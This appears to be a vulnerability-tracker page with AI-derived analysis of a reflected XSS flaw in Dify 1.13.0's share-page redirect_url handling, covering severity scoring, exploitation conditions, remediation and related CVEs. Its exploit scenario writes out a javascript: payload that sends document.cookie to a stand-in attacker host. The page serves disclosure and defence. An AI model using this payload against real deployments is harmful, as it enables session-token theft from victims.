EUVD-2026-70297
GHSA-mf5r-rpc2-6jqp
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft redirect_url XSS payload
-
DeliveryEmbed in Dify share-page link
-
ExploitDeliver link to target via phishing
-
InstallVictim clicks link
-
C2router.replace() executes unsanitized URI
-
ExecuteAttacker script runs in victim browser
-
ImpactExfiltrate session token or perform actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability is exploitable against Dify instances with publicly accessible share-layout pages (the /(shareLayout)/ route). No authentication to the Dify instance is required from the attacker. The sole prerequisite is that the victim performs a single user interaction - clicking or navigating to a crafted URL. There is no requirement for a non-default configuration; any Dify 1.13.0 deployment exposing its web frontend is potentially affected. Exploitation is limited in impact to what can be accomplished via client-side script in the victim's browser session (e.g., cookie theft, forced navigation, credential phishing), bounded by browser same-origin policy and any Content-Security-Policy headers deployed by the operator. |
| Impact | The CVSS 4.0 base score is 5.3 (Medium), reflecting AV:N/AC:L/PR:N/UI:P/VC:N/VI:L. This rating is plausible but arguably understates confidentiality impact: a successful reflected XSS can exfiltrate session tokens, API keys stored in browser storage, or CSRF tokens, yet the provided vector sets VC:N. The E:P supplemental metric confirms a publicly available exploit, raising real-world exploitation likelihood above what the base score implies. EPSS data was not provided. This CVE is not listed in the CISA KEV catalog, suggesting no confirmed mass exploitation, but the low attack complexity and available PoC make opportunistic exploitation feasible. The primary limiting factor is the required user interaction (UI:P) - a victim must click a crafted link. Given Dify's use as a shared LLM application host, share-link workflows are a natural delivery vector, reducing the practical barrier of the UI:P requirement. |
| Exploit ScenarioDerived | An attacker crafts a Dify share-page URL with a redirect_url query parameter containing a JavaScript URI payload (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)) and delivers it to a target via phishing or a malicious link. When the victim opens the link, the Splash Layout's router.replace() processes the unsanitized redirect_url, executing the attacker's script in the victim's browser session. A public PoC demonstrating this technique is available at the GitHub Gist linked in the CVE references. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 03, 2026
Cross-site scripting in Dify 1.13.0 allows unauthenticated remote attackers to inject arbitrary client-side script via the redirect_url argument processed by the router.replace function in the Splash Layout component. Exploitation requires a single user interaction - the victim must follow a crafted link - but no account or prior access to the Dify instance is required. A public proof-of-concept exploit was disclosed on GitHub Gist on or around 2026-07-05; the vendor did not respond to the coordinated disclosure, and no confirmed patch is available at time of analysis.
RemediationAI
Consult the GitHub Security Advisory GHSA-7qgm-pqv4-668x (https://github.com/langgenius/dify/security/advisories/GHSA-7qgm-pqv4-668x) for any patch or workaround details - no specific fixed version number was provided in the disclosure. Because the vendor did not respond to the coordinated disclosure, a vendor-released patch is not independently confirmed at time of analysis. As a compensating control, operators can restrict access to share-layout URLs at the reverse-proxy or WAF layer to trusted users or IP ranges, eliminating the unauthenticated attack surface entirely; the trade-off is that public share links will stop functioning. Alternatively, a WAF rule blocking javascript: and data: URI schemes in the redirect_url query parameter will neutralize the most common XSS payloads without disabling the feature, though this requires tuning to avoid false positives.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dify is an open-source LLM application development platform (cpe:2.3:a:langgenius:dify). The vulnerable code resides in web/app/(shareLayout)/components/splash.tsx, which handles the shared layout for publicly accessible share pages. The router.replace() call in this component consumes a redirect_url query parameter without adequate sanitization or URL validation, allowing an attacker to supply a javascript: URI or other XSS payload that Next.js's client-side router will execute in the victim's browser context. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause class - user-supplied data flows into a navigation/DOM-manipulation sink without encoding.
Know when Dify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Reflected XSS with network delivery, no privileges needed, user click required (UI:R), scope changes to victim browser enabling session theft (C:L) and limited integrity writes (I:L).
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was determined in langgenius dify 1.13.0. Affected is the function router.replace of the file web/app/(shareLayout)/components/splash.tsx of the component Splash Layout. This manipulation of the argument redirect_url causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in langgenius dify XSS in Share Layout Components
View all 2Dify 1.9.1 permits unauthenticated remote GET requests to the /console/api/system-features console endpoint, letting ano
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Path traversal in Dify versions 0 through 1.14.1 allows authenticated tenants to escape their authorized tenant path and
Cross-tenant authorization bypass in LangGenius Dify versions through 1.14.1 lets any logged-in editor reroute another t
A vulnerability in langgenius/dify v0.10.1 allows an attacker to take over any account, including administrator accounts
SQL injection in Dify's MyScale vector store backend (versions before 1.16.0-rc1) lets authenticated attackers execute a
Plaintext exposure of third-party service API keys in Dify prior to version 1.11.0 allows any authenticated non-administ
Cross-tenant document disclosure in Dify 1.14.1 and prior allows any authenticated user to read up to 3,000 characters o
langgenius/dify version v0.10.1 contains a vulnerability where there are no limits applied to the number of code guess a
In langgenius/dify v0.10.1, the `/forgot-password/resets` endpoint does not verify the password reset code, allowing an
Dify is an open-source LLM app development platform. Rated high severity (CVSS 7.6), this vulnerability is remotely expl
A stored cross-site scripting (XSS) vulnerability exists in langgenius/dify version latest, specifically in the chat log
Exploit-DB